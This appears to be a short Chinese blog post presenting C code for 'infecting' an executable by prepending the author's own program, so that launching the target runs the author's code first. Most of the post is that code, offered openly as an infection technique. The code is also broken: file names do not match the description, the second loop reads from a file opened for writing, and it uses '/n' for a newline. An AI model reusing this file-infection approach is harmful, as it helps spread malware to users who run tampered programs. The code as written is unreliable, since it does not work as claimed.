做了一个小程序实现的是对可执行程序的感染,原理很简单.test.exe是我们要感染的文件,我们要把我们自己的一个文件添加到其前面去,就实现了如果用户点击这一文件,先执行我们的程序.
其相关代码如下:
#include<iostream.h>
#include<stdio.h>
#include<conio.h>
void main()
{
FILE *fp ;
FILE *fp1;
if( ( fp = fopen("test1.exe","wb") ) == NULL )
{
printf("ERROR /n");
return ;
}
if( ( fp1 = fopen("test2.exe","rb") ) == NULL )
{
printf("ERROR /n");
return ;
}
while(!feof(fp1))
{
fputc(fgetc(fp1),fp);
}
fclose(fp1);
FILE *fp2;
if( ( fp2 = fopen("test12.exe","wb") ) == NULL )
{
printf("ERROR /n");
return ;
}
while(!feof(fp2))
{
fputc(fgetc(fp2),fp);
}
fclose(fp2);
fclose(fp);
}
该博客介绍了一个小程序,可实现对可执行程序的感染。原理是将自定义文件添加到要感染的文件前,使点击文件时先执行自定义程序,还给出了相关代码示例。
1421

被折叠的 条评论
为什么被折叠?



